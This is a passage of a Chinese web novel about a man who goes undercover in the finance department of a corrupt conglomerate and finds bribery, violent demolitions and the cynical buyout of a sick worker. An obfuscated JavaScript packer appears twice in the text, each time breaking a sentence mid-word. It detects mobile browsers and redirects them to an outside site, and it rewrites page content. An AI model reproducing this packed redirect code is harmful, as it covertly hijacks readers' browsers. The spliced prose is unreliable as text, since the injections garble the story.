我的心在疯狂跳动,血液在耳中轰鸣。我知道,握住这只手,意味着我将不再是被动的棋子,不再是待宰的羔羊。我将主动跳入一个更加凶险、更加黑暗的漩涡,与魔鬼共舞,用仇恨作为武器,以复仇为目标。 这可能是毁灭的捷径,也可能是……唯一能让顾远的死、老金的苦、我承受的所有屈辱,变得“有价值”的途径。 我缓缓地,极其艰难地,抬起了自己那只因为冰冷和紧张而微微颤抖的手。 然后,握住了她的手。 冰凉。刺骨。 那寒意瞬间从指尖蔓延至全身,让我不由自主地打了个寒颤。 我不知道。我握住的,究竟是投向黑暗深渊的一线微弱曙光?还是……将自己彻底献祭给仇恨与毁灭的,另一张通往更深处地狱的……单向车票。 苏晚的手像一块冰,而我握住的瞬间,感觉自己握住的是一具早已死去多时的尸体的手。那种寒冷不是温度上的,而是从灵魂深处渗透出来的、带着死亡气息的寒意。但我没有松开。我知道,从这一刻起,我已经没有回头路了。 合作多么冠冕堂皇的词。实际上,不过是我这个无路可走的烂人,把自己绑在了一个美丽而危险的复仇女神战车上,成为她手中一件可以随时丢弃的工具。 三天后,我收到了一份快递。没有寄件人信息,里面只有一张门禁卡、一部崭新的手机、以及一份聘用合同。合同上,我的名字后面跟着的头衔是“远大集团战略投资部特别财务顾问”,年薪一栏填写着一个足以让普通人眼红的数字,工作地点在远大集团总部大厦的十七楼。 特别财务顾问。我对着这个头衔冷笑。特别?特别在哪儿?特别适合当替死鬼?特别适合做那些见不得光的脏活? 苏晚通过那部新手机联系了我。她的声音恢复了在“夜泊”时的那种沙哑慵懒,仿佛那天在茶室里流露出的刻骨仇恨和脆弱只是我的幻觉。 “明天上午九点,带上门禁卡和手机到总部。有人会带你熟悉环境。记住,”她的语气突然变得冰冷,“你现在是沈顾问,一个有着海外背景、被高薪挖来的财务专家。你什么都不知道,你只关心数字和报表。少说话,多观察。我要你做的第一件事,就是把战略投资部过去五年的所有项目账目,从头到尾‘梳理’一遍。” 她特别强调了“梳理”两个字。 “我要知道每一笔异常的资金流向,每一个不合常理的成本项,每一个被隐藏的关联交易。特别是,”她顿了顿,“所有涉及‘城市更新’、‘旧城改造’、‘土地整理’这类项目的账目,我要最详细的拆解。” 我明白了。她要我从财务的视角,去挖掘远大集团那些光鲜项目背后,可能存在的所有污点和罪证。而这些污点和罪证,很可能就隐藏在那些看似正常、实则充满猫腻的账目数字里。 第二天,我穿着用苏晚预支的“活动经费”购买的一套勉强算得上得体的西装,走进了远大集团总部。 这栋位于城市CBD核心地段的玻璃幕墙大厦,高耸入云,在阳光下反射着冰冷而耀眼的光芒,像一把直插天际的利剑。大堂挑高足有十米,光可鉴人的大理石地面映照着行色匆匆的精英白领们的身影。空气里弥漫着高级香氛、咖啡和一种无形的、名为“成功”的压迫感。 门禁卡在感应器上“嘀”了一声,绿灯亮起。我跟着人流走进电梯,按下十七楼。 电梯平稳上升,镜面墙壁映出我那张依旧带着伤痕、眼神疲惫的脸,与周围那些妆容精致、神情自信的面孔格格不入。我感觉自己像一只误入天鹅群的土拨鼠。 十七楼,战略投资部。玻璃隔断划分出一个个独立的办公区域,每个人面前都至少有两块显示屏,键盘敲击声、电话铃声、低声讨论声交织在一起,构成一幅高效而忙碌的景象。没有人多看我一眼,每个人都沉浸在自己的世界里,或者说,沉浸在被KPI和业绩驱动着的齿轮运转中。 一个戴着黑框眼镜、看起来三十出头的女人迎了上来,她是部门行政主管,姓李。她的笑容标准而职业化,眼神里带着一丝不易察觉的审视。 “沈顾问是吧?苏特助已经交代过了。您的工位在这边,电脑已经配好,内部系统的权限也已经开通。这是您接下来需要查阅的所有电子账目文件的目录和访问路径。纸质档案如果需要调阅,需要通过我这边申请。”她语速很快,交代完基本情况后,便不再多说,仿佛多浪费一秒钟都是罪过。 我的工位在一个靠窗的角落,相对安静。桌上摆着一台高配电脑,两盆绿萝,还有一个写着“沈默顾问”的亚克力名牌。坐下,开机,登录内部系统。屏幕上跳出一个复杂的ERP界面,各种模块、报表、数据看板让人眼花缭乱。 我深吸一口气,点开了那个名为“近五年项目账目归档”的文件夹。 海量的文件。按照年份、项目类型、地区分门别类。从几十亿的地标商业综合体,到几千万的社区改造;从一线城市的黄金地块,到三四线城市的工业园区……远大集团的触角,果然延伸到了这个国家的各个角落。 我开始按照苏晚的要求,从那些标注着“城市更新”、“旧改”的项目入手。 起初几天,我像个真正的财务顾问一样,仔细核对凭证,分析成本结构,追踪资金流向。表面上,这些账目做得极其“漂亮”。凭证齐全,流程合规,审批链条完整。该有的招标文件、合同、发票、验收报告一样不少。成本核算精细到令人发指,连一颗螺丝钉的价格都有据可查。利润空间看起来合理,甚至有些项目的利润率在行业标准中只能算中等偏下,给人一种“良心企业”、“微利运营”的错觉。 但很快,一些不协调的“杂音”开始出现。 那是一个位于本省另一个地级市、名为“清河新村改造项目”的账目。项目不大,总投资约两亿,内容是改造一片八十年代的老旧工人新村。账目显示,项目的拆迁补偿成本极低,低到不符合当地任何一版的补偿标准。而另一项名为“特殊协调与□□费用”的支出,却高得离谱,几乎占了总成本的百分之十五。 “特殊协调与□□费用”。 这个科目很模糊,凭证后面附着的说明也语焉不详,大多是“咨询服务费”、“劳务费”、“临时设施费”等笼统的发票,开票单位是一些听都没听过的“信息咨询中心”、“保安服务公司”。金额从几万到几十万不等,时间跨度覆盖了整个拆迁期。 我调出了这个项目的背景资料。发现这个项目从启动到完成,只用了不可思议的十个月。而同期周边类似规模的旧改项目,平均周期都在两年以上。当地论坛上还能找到一些陈年帖子,零星提到当时拆迁时发生过“冲突”,有“个别居民阻挠”,但都被“妥善解决”了。发帖时间都在项目启动后不久,然后便戛然而止。 我尝试搜索与那些开票公司相关的信息,大多查无此人,或者注册地址是某个偏僻乡村的民房,电话永远无法接通。 一种熟悉的寒意爬上脊背。我想起了苏晚的父亲,想起了防空洞墙上的“灭口”。这些“特殊协调与□□费用”,买通的恐怕不只是“协调”,还有沉默,甚至……是鲜血。 随着翻阅的项目越来越多,类似的“异常”像溃烂的脓疮一样,一个接一个地暴露出来。 一个位于南方某县城的“新城开发区基础设施项目”,土方工程和地基处理的成本高得惊人,超出正常市场价格的三倍。凭证显示,承包方是一家本地的小型建筑公司。而这家公司的法人代表,经过我层层穿透股权结构,利用了一些非常规手段,最终指向了当地某位已退休的规划局前副局长儿子的同学。 一个东部沿海城市的“港口配套商业区项目”,在土地使用权转让环节,远大集团支付的价格远低于同期同地段的市场价。账目附件里有一份“专家评估报告”,支持这个低价。而这位“专家”,恰好是当地国土局某位领导在读博士时的导师。 更多的,是那些隐藏在正常业务往来之下的资金“漏斗”。 通过复杂的关联交易网络,资金从项目公司流出,进入一系列空壳公司或者“咨询公司”,经过几次倒手,最终消失在一些离岸账户或者以“高管奖金”、“特别津贴”的名义,流入某些个人的腰包。这些操作手法极其隐蔽,如果不是带着“找问题”的目的,并且有足够的耐心和财务知识去追踪,根本难以发现。它们像寄生虫一样,附着在每一个健康或不健康的项目上,悄无声息地吸食着养分。 我坐在电脑前,屏幕的光映在我越来越苍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17016462|194201||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 白的脸上。连续几周,我每天工作超过十二个小时,眼睛因为长时间盯着数字而布满血丝。咖啡成了唯一的燃料。周围那些同事,依旧忙碌着,为新的项目做着测算,为领导的PPT美化着数据,为公司的股价和业绩欢呼或焦虑。他们看不到我屏幕上的这些数字背后,可能意味着什么。 他们看到的,是远大集团又拿下了一个地王,又开发了一个高端楼盘,又捐赠了一所希望小学,又获得了某个“最具社会责任感企业”的奖项。 而我看到的,是一张由无数肮脏交易、腐败勾结、暴力掠夺编织而成的、密密麻麻的网。这张网覆盖了这个国家的许多城市和乡村,吞噬着土地,吞噬着资源,吞噬着无数像苏晚父亲、像顾远、像老金这样的小人物的血肉和希望。 远大集团的商业帝国,根本不是建立在什么卓越的战略眼光、先进的管理模式或者勤奋的拼搏之上。 它的地基,是无数个像“凤凰计划”一样,充满了暴力、欺诈、贿赂和鲜血的“原始积累”。 它的每一块砖,可能都浸透着被强拆者的眼泪。 它的每一根钢梁,可能都支撑着被压榨工人的血汗。 它的每一寸玻璃幕墙反射的光芒,可能都掩盖着某个角落里的黑暗交易。 他们像一群嗅觉灵敏的秃鹫,盘旋在这座城市、这个国家因快速发展而产生的每一道伤口上。哪里有机会,哪里有利益,哪里有权力的缝隙,他们就会扑上去,用尽一切手段,合法或非法,文明或野蛮,啃食伤口下的血肉,吮吸骨髓里的精华。等到吸干抹净,留下一个看似光鲜、实则空洞的躯壳,然后振翅飞向下一个目标。 而我,现在正坐在这群秃鹦搭建的华丽巢穴里,亲手翻阅着他们每次进食后留下的、沾着血丝的“账本”。 一阵强烈的恶心感袭来。我冲进洗手间,趴在冰冷的陶瓷洗手池边干呕,却什么也吐不出来,只有酸涩的胆汁灼烧着喉咙。 镜子里的人,双眼深陷,脸色灰败,胡子拉碴。西装笔挺,却掩不住从内而外散发出的疲惫和……肮脏感。 我在做什么?我成了什么?为了所谓的“复仇”,我主动跳进了这个粪坑,每天浸泡在这些散发着铜臭和血腥味的数字里,帮着那个同样被仇恨吞噬的女人,收集着足以炸毁一切的证据。 可然后呢?炸毁之后呢?顾远能活过来吗?老金能拿回他的肾吗?苏晚的父亲能死而复生吗?那些被埋在“凤凰计划”地基下的亡魂,能得到安息吗? 不能。一切都不能。 毁灭,或许能带来一时的快意,但填补不了那些巨大的、黑洞般的失去。而在这个过程中,我自己,也正在被这无边的黑暗同化,腐蚀。我看待数字的眼神越来越冰冷,分析问题时越来越像一部没有感情的机器。我甚至开始理解,那些制定这些规则、执行这些操作的人,是如何一步步变得麻木不仁的——当罪恶被量化成报表上的一个数字,当鲜血被简化成成本项里的一行支出,人性中最后那点怜悯和恐惧,也就被剥离了。 我成了苏晚的“影子”。一个游走在罪恶边缘,收集着罪恶,同时自身也在不断被罪恶浸染的……影子。 回到工位,我机械地打开下一个文件夹。这是一个位于本市的、年代稍早一些的项目,名为“滨江新区二期土地整理”。 我习惯性地先看成本明细。目光扫过“青苗补偿”、“地上附着物补偿”、“人员安置费”……突然,一个熟悉的名字跳入眼帘! 在“人员安置费”的明细里,有一笔不大的支出,收款人姓名栏赫然写着——金卫国! 老金!金额是八万六千元。时间是在七年前。我的呼吸骤然停止!手指僵在鼠标上,血液仿佛瞬间倒流!老金?他怎么会出现在远大集团的拆迁补偿名单里?滨江新区二期?那不是…… 我猛地调出这个项目的详细资料。滨江新区二期,位于城市东南部,十年前启动,涉及大片农田和少量老旧工厂的征收。其中,就包括老金曾经工作过的那家——市国营第二纺织厂! 原来,老金所在的纺织厂地块,正是被远大集团在“滨江新区二期”项目中吞并的!而老金作为下岗职工,拿到的那笔“买断工龄”和“安置费”,根本就不是什么国家补偿,而是远大集团支付的土地征收成本的一部分! 那笔八万六千元,大概就是他当年全部的家当,他用那笔钱给妻子治病,供女儿上学,在城中村勉强安家……然后,妻子还是因为长期的贫困和缺乏医疗保障而去世,女儿得了烧钱的绝症,他自己为了救女儿,被黑中介骗走了一个肾,换回三千块钱和一身伤病,如今躺在医院里,眼神空洞,生不如死…… 而这一切的源头,或许都可以追溯到这笔八万六千元的“安置费”,追溯到远大集团当年吞并纺织厂的那场“交易”! 我瘫坐在椅子上,浑身冰冷,冷汗瞬间湿透了衬衫。 历史不是抽象的。罪恶不是遥远的。它就藏在冰冷的数据里,藏在看似合理的账目下,像一条隐形的毒蛇,跨越漫长的时光,精准地咬中了像老金这样毫无防备的普通人,将毒素注入他们的命运,让他们在多年后,依然在痛苦的泥潭里挣扎、窒息。 远大集团,赵承德。你们吸食的,何止是土地的骨髓。你们吸食的,是无数个家庭的血肉,是整整一代人,甚至几代人的……未来。 窗外,城市华灯初上,霓虹闪烁,一片繁荣景象。而在这片光芒之下,我坐在高大上的写字楼里,对着屏幕,第一次如此清晰地看到,那光芒深处,涌动着的、无声的、却无边无际的……血海。 26. 尸山血海 我在远大集团十七楼的角落,对着屏幕上老金那笔八万六千元的“安置费”记录,感到刺骨的寒意和一种近乎生理性厌恶的眩晕时,这座商业帝国表面平静的冰层之下,另一场更加凶险、更加赤裸的战争暗流,已经开始汹涌翻腾。 最先察觉到异常的,是空气中那种无形的压力。走廊里高管的步伐比平时更加急促,眉头锁得更紧;会议室的门关得更频繁,且每次会议的时间都明显延长;前台接到的投资者关系部转来的电话数量陡增,接线员的嗓音里开始带上不易察觉的焦躁。 茶水间里,那些平日里热衷讨论奢侈品和新开餐厅的年轻白领们,压低了声音,交换着从不同渠道听来的只言片语: “听说了吗?城南那个‘未来城’项目,天启的人也在接触政府……” “王副总上周提交辞职了,人力那边在紧急挽留……” “我同学在天启做分析师,说他们最近在做空我们的债券……” “股价这两天跌了快八个点了,我年底的期权……” 天启集团。这个名字像一块投入平静湖面的巨石,在远大集团内部激起了层层不安的涟漪。它是国内少数几家能在规模、背景和手段上与远大集团掰手腕的综合性财团之一。创始人据说有更深的红色背景,行事比赵承德更加低调,但爪牙却从未收敛。两家集团在房地产、金融、基建等多个领域短兵相接多年,互有胜负,结怨已深。但像最近这样,天启集团如此高调、如此系统性地发起全方位攻击,还是近年来的头一遭。 攻击来得迅速而精准。 先是资本市场。连续一周,远大集团在港股和A股的股价遭遇不明来源的巨额卖单打压,技术图形被刻意破坏,各种关于远大“现金流紧张”、“多个项目停工”、“涉嫌违规融资”的负面研报和小道消息,如同瘟疫般在投资圈流传。虽然远大第一时间发布了措辞强硬的澄清公告,并动用了“好朋友”们的资金托盘,但股价依旧承压,市值蒸发超过两百亿。 紧接着是人才战。短短半个月内,远大集团战略投资部、资本运营部和两个重要区域公司的负责人,连同他们手下的核心团队,共计十余名中高层管理人员,以各种理由先后提出辞职。尽管远大开出了令人咋舌的留任条件,但去意已决。明眼人都知道,这些人最终的去向,大概率是天启集团开出的、无法拒绝的价码和位置。这不仅带走了宝贵的经验和人脉,更严重打击了内部士气,也让一些正在推进的关键项目陷入停滞。 最狠的一刀,来自项目层面。远大集团筹划已久、志在必得的“东部沿海经济带核心枢纽地块”的招标,在最后一轮评审中意外败北,中标方是一家名不见经传的合资公司。而这家公司的背后,隐约闪动着天启集团的影子。几乎与此同时,远大集团在西南某省一个已投入巨资前期费用的矿产项目,突然被当地以“环保评估未达标”为由叫停,而接盘进行“环境修复和后续开发”的,又是另一家与天启关系密切的企业。 这一连串组合拳,打得远大集团有些措手不及,也让内部一直存在的、关于赵承德是否“老了”、“手段软了”的窃窃私语,开始浮出水面。 风声鹤唳中,我作为“新来的顾问”,反而获得了一个相对超然的观察位置。没有人会向我这个“外人”透露核心机密,但我能从那些紧绷的面孔、突然取消的会议、以及OA系统里某些权限的异常调整中,感受到山雨欲来的压抑。 这天下午,我被临时通知参加一个“跨部门紧急沟通会”。会议地点不在普通的会议室,而是在大厦顶层那间极少启用、可以俯瞰全城、被称为“鹰巢”的董事长专属会议室。 我跟着部门李主管和其他几位神色凝重的同事走进“鹰巢”。巨大的环形落地窗外,城市在阴沉的天空下延伸,有一种被踩在脚下的虚幻感。会议室中央是一张厚重的红木长桌,足以坐下二十人,但此刻只稀疏地坐了不到十位。坐在主位的,正是赵承德。 这是我第一次在如此近的距离看到这位传说中的“城市之王”。他看起来比财经杂志封面上要清瘦一些,两鬓斑白,但梳理得一丝不苟。穿着合体的深蓝色中山装,而不是常见的西装,这让他身上少了几分商人的气息,多了几分旧时代仕绅的沉稳与威严。他的脸上没有什么明显的表情,眼神平静,甚至有些温和,正在慢条斯理地泡着功夫茶,仿佛楼下资本市场和项目阵地的腥风血雨,与他毫无关系。 他的左手边坐着林涛,依旧西装笔挺,但眉宇间压抑着一股显而易见的戾气和焦躁,手指无意识地在光洁的桌面上轻轻敲击。右手边则是一位我从未见过的、戴金丝眼镜、气质儒雅的中年男子,据说是集团的首席法务官。 其他座位上是几位核心业务板块的负责人,个个正襟危坐,大气不敢出。 我和李主管这样的“中层”,只能坐在靠后的位置。 会议开始,各个板块的负责人依次汇报近期遭遇的“麻烦”和应对情况。语气沉重,数据详实,将天启集团的步步紧逼描绘得清晰无比。每汇报完一项,会议室里的气压就低一分。 轮到林涛发言时,他的声音明显带着火气:“赵董,各位,天启这次是摆明了要跟我们打一场歼灭战!从资本市场到人才,再到项目,招招致命!他们敢这么干,背后肯定有我们不知道的依仗!我怀疑,是不是上面……风向有变?”他谨慎地没有说出具体名字,但所有人都懂他指的是更高层的权力博弈。 他顿了顿,眼中闪过一丝狠厉:“而且,据我们得到的消息,天启那边负责这次‘狙击’行动的,是楚家老二,楚天明。这个人做事向来不择手段,早年搞拆迁的时候,手上就沾过血。跟他讲规矩,没用!” 他身体前倾,目光炯炯地看向赵承德:“赵董,我的意见是,不能再被动防守了!必须主动反击!而且要打就打疼他!他们能挖我们的人,我们也能挖他们的根!他们能在项目上做手脚,我们就能让他们在建的项目永远开不了工!楚天明敢玩阴的,我们就让他知道,谁才是玩阴的祖宗!” 林涛的话里充满了血腥味。所谓的“让他们在建的项目永远开不了工”,绝不只是商业竞争那么简单。在场的人都明白,那可能意味着制造安全事故,煽动□□,甚至……更直接、更黑暗的手段。而“玩阴的祖宗”,更是直指赵承德发家史上那些不便言说的“非常规”手段。 几位业务负责人低着头,不敢接话。首席法务官推了推眼镜,眉头微皱,但也没出声。 所有人的目光,都聚焦在依旧慢悠悠泡着茶的赵承德身上。会议室里安静得可怕,只有紫砂壶注水时细微的声响,和窗外隐约传来的城市噪音。 赵承德将泡好的第一泡茶,倒入面前一排小巧的品茗杯中。茶汤金黄透亮,香气馥郁。他做了一个“请”的手势,几位负责人连忙诚惶诚恐地端起杯子。 他自己也端起一杯,轻轻嗅了嗅,然后小口啜饮。整个过程从容不迫,仿佛正在进行一场风雅茶会。 放下茶杯,他用旁边的白毛巾擦了擦手,这才缓缓抬起眼皮,目光平静地扫过在座众人,最后落在林涛那张因为急切而微微泛红的脸上。 “林涛啊,”赵承德开口了,声音不高,带着老年人特有的、略微沙哑的磁性,却有一种奇异的穿透力,“你跟了我多少年了?” 林涛愣了一下,没想到赵承德会问这个,连忙回答:“十……十二年了,赵董。” “十二年,不短了。”赵承德点了点头,“你应该知道,我做生意,有个原则。” 他顿了顿,目光看向窗外灰蒙蒙的天空,仿佛在回忆什么。 “早些年,我们一穷二白,要抢饭吃,没办法,有些规矩,该破得破,有些手段,该用得用。”他的语气很平淡,像是在说别人的事,“那是生存。” “但现在,”他转过头,目光重新变得锐利,虽然依旧平静,却让林涛不由自主地挺直了背脊,“我们坐在这里,坐在这栋楼里,看着这座城市。我们不再是抢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17016463|194201||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 饭吃的野狗了。” 他微微向前倾身,声音依然不高,但每个字都清晰地敲在每个人心上:“我们是制定规则的人。至少,在这座城市里,我们是。” 他看向林涛,眼神里没有任何责备,只有一种居高临下的教导意味。 “天启想玩,可以。楚天明想试试我的底线,也可以。”赵承德的嘴角,甚至浮现出一丝极淡的、难以捉摸的笑意,“但我们,要‘按规矩玩’。” “他们狙击股价,我们就找更好的投行,发布更漂亮的财报,邀请更有分量的投资者来站台。他们挖人,我们就开更高的价码,给更大的舞台,同时,让猎头去挖他们更核心的人。他们抢项目,我们就找出他们中标过程中的每一个瑕疵,用法律、用舆论、用更高层的关系,让他们把吃进去的,连本带利吐出来。” 他的语速不快,却带着一种不容置疑的自信。 “至于楚天明……”赵承德端起茶杯,又喝了一口,语气淡然,“他喜欢玩阴的,就让他玩。但他要记住,阴沟里的老鼠,永远上不了台面。而台面上的游戏,比的是谁手里的牌更多,谁的底牌更硬,谁的……耐心更好。” 他放下茶杯,环视全场。 “传我的话下去,”他的声音陡然清晰,带着命令的口吻,“各板块,收缩防线,巩固基本盘。该补的窟窿补上,该擦的屁股擦干净。资本市场那边,我会亲自打招呼。人才流失,暂时容忍,做好档案,秋后算账。项目上的损失,记下来,一笔一笔,将来让他们十倍偿还。” “现在,我们要做的,是等。” “等一个时机。” 他说完,不再看任何人,重新专注于手中的茶具,开始冲泡第二泡茶。 会议就在这种诡异的气氛中结束了。没有激烈的争论,没有具体的反击方案,只有赵承德一番看似“软弱”、实则深不可测的指示。林涛脸色铁青,但又不敢再说什么,只能咬着牙起身离开。其他人也如蒙大赦,纷纷退场。 我跟着人群走出“鹰巢”,后背不知何时已是一片冰凉。赵承德那番话,听起来冠冕堂皇,充满“格局”,但我却从中听出了更深的寒意。他的“按规矩玩”,绝不是忍气吞声,而是将战场拉到了他更有把握的、更“文明”也更残酷的层面。他的“等”,更像是一头猛兽在阴影中匍匐,等待猎物露出最致命的破绽。 当晚,我用那部加密手机联系了苏晚,简短汇报了会议情况和我观察到的氛围。 苏晚的回复很快,依旧是文字:老东西在钓鱼。天启的攻势越猛,暴露的弱点就越多。楚天明是个疯子,但楚家老爷子还没糊涂。赵在等天启自己犯错,等楚天明把楚家拖下水,等一个能让他名正言顺、一劳永逸吞掉天启核心资产的机会。商业竞争?呵呵,不过是餐前开胃菜。主菜,还在后头。 我盯着屏幕上的字,寒意更深。 吞并天启?赵承德的野心,竟然大到如此地步?他不是在防御,也不是在简单地反击,他是要把这个多年的竞争对手,连皮带骨地整个吞下去!而天启近期的疯狂进攻,在赵承德眼里,或许只是猎物临死前虚张声势的挣扎,或者……是他故意诱使对方踏入的陷阱? 这不再是简单的商战,而是两个庞然大物之间,决定生死存亡的吞并战争!而这场战争,将不再局限于会议室和谈判桌,它必然会波及到更广的范围,牵扯进更多的势力,吞噬掉更多……像老金那样,只是不幸位于战场中央的蝼蚁。 我想起林涛眼中那不加掩饰的狠厉,想起赵承德平静话语下的森然杀机。无论这场战争以何种形式进行,无论最后谁胜谁负,都注定伴随着无数的阴谋、背叛、牺牲和……毁灭。 而我,和苏晚,就藏在这即将引爆的火山口边缘,试图在两只巨兽的撕咬中,找到那个能给予致命一击的、最脆弱的咽喉。 手机屏幕的光,映着我苍白而麻木的脸。我知道,更黑暗、更血腥的风暴,正在加速酝酿。我们所有人,都已无处可逃。 27. 死循环 远大集团内部的紧张气氛,如同一张不断收紧的网。天启集团的狙击、股价的波动、高管的流失、项目的受阻……这些在高层会议上被反复讨论、被视为生死存亡威胁的大事,对于我这个深陷在故纸堆和冰冷数据中的“影子”来说,却仿佛隔着一层厚重的毛玻璃。数字依旧冰冷,逻辑依旧残酷,但我开始感到一种更深的、源于自身的麻木。每天超过十二个小时对着屏幕,追踪那些带着血腥味的资金流向,分析那些掩盖在合法外衣下的掠夺,我感觉自己的情感正在被一点点剥离,就像防腐液中的标本,正在失去最后一点活物的温度和湿度。 直到那个名字,像一颗烧红的子弹,击穿了这层正在形成的、名为“职业冷静”的冰壳。 那是在整理一批更早期的“凤凰计划”关联项目档案时。这些档案没有完全电子化,大多是扫描后识别归档的PDF文件,清晰度不高,带着岁月留下的斑驳和模糊。苏晚要求我重点梳理“凤凰计划”及其后续所有相关项目的完整脉络,特别是人员安置和补偿部分,她认为这里面可能藏着赵承德早期处理“麻烦”的固定模式和关键人物线索。 我打开了编号为【FP-1998-07】的文件夹。这是一份关于“市国营第二纺织厂资产重组及职工安置方案”的最终版文件,落款时间是1998年11月。文件很厚,包含了当时纺织厂的资产评估报告、远大集团(那时还叫“远大建筑有限公司”)的收购方案、市政府相关批文,以及最核心也最冗长的部分——全厂一千二百七十三名在职职工和四百零五名离退休人员的“买断工龄”及“安置分流”明细表。 我机械地滚动着鼠标滚轮,目光扫过那一行行代表着一个个被时代车轮无情甩下的生命和家庭的数据。姓名,工龄,岗位,补偿金额,安置去向,“自谋职业”、“协议保留社保关系”、“进入再就业服务中心等待分配”……。大部分名字都是陌生的,他们的命运被浓缩成几个冰冷的选项和一笔在当时看来或许还算“可观”、实则买断了他们整个职业生涯和未来保障的金钱数字。 突然,我的手指僵在了鼠标上。 滚动的页面停在了某一行。 姓名:金卫国 性别:男 年龄:38岁 岗位:细纱车间保全工 工龄:19年 补偿方案:一次性买断工龄 补偿金额:人民币86,000.00元(大写:捌万陆仟元整) 安置去向:自谋职业 备注:技术骨干,家庭困难(配偶长期患病),经本人多次要求,同意一次性结算,不保留厂内任何关系及后续福利。 我盯着屏幕,视线仿佛被那几行宋体字死死钉住,无法移动。血液似乎瞬间从头部抽离,又在下一秒以更汹涌的力度冲回,撞击着太阳穴,发出沉闷的轰鸣。耳朵里响起尖锐的耳鸣,办公室里恒温空调的微弱噪音、远处传来的键盘敲击声、甚至我自己的呼吸声,都在这一刻被无限放大,又骤然退远,变成一片真空般的死寂。 真的是他。真的是老金。那个在防空洞外捡废品、为了一台破收音机能卖五十块而欣喜、为了女儿药费去卖血被拒、最终被黑诊所骗走一个肾、如今躺在医院病床上眼神空洞的老人——他悲剧的源头,竟然就埋藏在我此刻正在翻阅的、这份尘封了二十多年的冰冷文件里! “凤凰计划”……原来它不仅吞噬了苏晚的家,也吞噬了老金赖以生存的工厂,和他作为一个技术工人、一个丈夫、一个父亲的全部骄傲与安稳! 我颤抖着手,几乎是强迫自己继续往下看,点开了与这份安置方案配套的其他文件。我要知道,当年到底发生了什么。 一份由当时市轻工业局和劳动局联合出具的《关于市国营第二纺织厂改制过程中职工安置问题的说明》中,轻描淡写地提到:“……鉴于远大建筑有限公司提出的整体收购方案有利于盘活国有资产、减轻地方财政负担,并经反复测算,认定其提供的职工安置补偿标准符合当时相关政策上限……部分职工因家庭特殊困难,经本人申请,厂改制领导小组批准,可采取一次性买断方式……” 另一份远大公司内部的《项目风险评估及应对预案(密)》中,措辞则赤裸得多:“……二纺厂职工平均年龄偏大,技能单一,再就业能力差。预计安置阻力主要来自‘4050’人员和部分‘钉子户’。预案:一、对带头闹事者,联合街道、派出所进行重点‘教育’和分化;二、对确有特殊困难者(如重病、残疾),可适当提高补偿额度,但须签订一次性了结协议,切断后续所有纠葛;三、充分利用媒体,宣传改制必要性及远大公司‘负责任’形象……” 而在关于“配偶长期患病”的备注旁边,一份附加的《困难职工情况摸底表》扫描件上,有手写的补充:“金卫国,其妻陈桂芳,患慢性肾病(疑似尿毒症前期),需长期服药,无法工作。家庭负担极重。本人性格老实,技术好但口讷,可列为‘重点安抚对象’,以较高补偿额(不超过九万)换取其自愿买断、息事宁人。该笔费用计入项目‘特殊人员安置成本’。” 特殊人员安置成本。 我看着这行字,胃里一阵剧烈的翻搅,几乎要呕吐出来。原来,当年那笔看似“人性化”的、高于平均水平的八万六千元,不是出于同情,而是一场精密的计算!是用一笔在当时看来“足够”的钱,买断一个技术骨干的未来,买断一个重病家庭的希望,买断一个可能存在的“不稳定因素”!用最低的成本,换取最大的“清净”! 而“自谋职业”这四个字,对于时年三十八岁、只有工厂单一技能、还要照顾患病妻子的老金来说,无异于一张流放证书。它意味着,从签下名字、接过那八万六千元现金(或许是存折)的那一刻起,他和国有体制、和那份虽然微薄但稳定的工资、和那套虽然简陋但属于工厂的福利房、和那份能报销部分医药费的劳保医疗……所有的一切联系,都被彻底斩断。他被抛向了刚刚开始野蛮生长、毫无规则可言的市场经济大海,成了一叶没有任何依靠的孤舟。 我关掉这个文件夹,感觉胸口像压了一块巨石,喘不过气。我需要知道更多。我凭着记忆,在系统里搜索与“市国营第二纺织厂”地块相关的后续项目。很快,我找到了。那块地皮在远大集团收购后,并未立即开发,而是闲置了几年。直到2003年,才启动了名为“锦绣花园”的商品住宅项目。项目账目显示,当初收购纺织厂,包括土地、厂房、设备以及“安置”所有职工的总成本,在“锦绣花园”项目第一期开盘不到三个月时,就已经全部收回。而整个“锦绣花园”项目最终的净利润,是当初收购成本的数十倍。 老金和他一千多名工友的“买断费”,在远大集团这部庞大的赚钱机器里,连一个微不足道的齿轮都算不上。 但这还不是全部。我的目光落在老金那份表格的“备注”栏——“配偶长期患病”。陈桂芳,老金的妻子,贝贝的母亲。她的病,后来怎么样了? 一个可怕的联想击中了我。我立刻开始搜索集团历年来参与的、与“国有企业职工医疗保险衔接”或“改制企业职工遗留医疗保障问题”相关的文件或项目。我知道,在九十年代末到二十一世纪初的那波国企改制大潮中,无数像老金妻子这样的“家属”或“因病提前退休”的职工,他们的医疗保障在改制过程中出现了巨大的断层甚至完全消失,成了“体制外”的人,看病完全自费。而当时的医疗保障体系远未健全,一场大病足以摧毁一个家庭。 我没有找到直接关于纺织厂职工医疗衔接的专门文件。但在另一份泛黄的、关于处理某破产化工厂“历史遗留问题”的会议纪要中,我看到了这样冷酷的表述:“……关于原厂职工及其家属的医疗费报销问题,原则上一律不予承认。改制时的一次性补偿已包含对此类风险的买断。个别闹得凶的,可由街道出面,以‘困难补助’名义给予少量一次性救助,但必须签署‘永不追究’承诺书……” 永不追究。 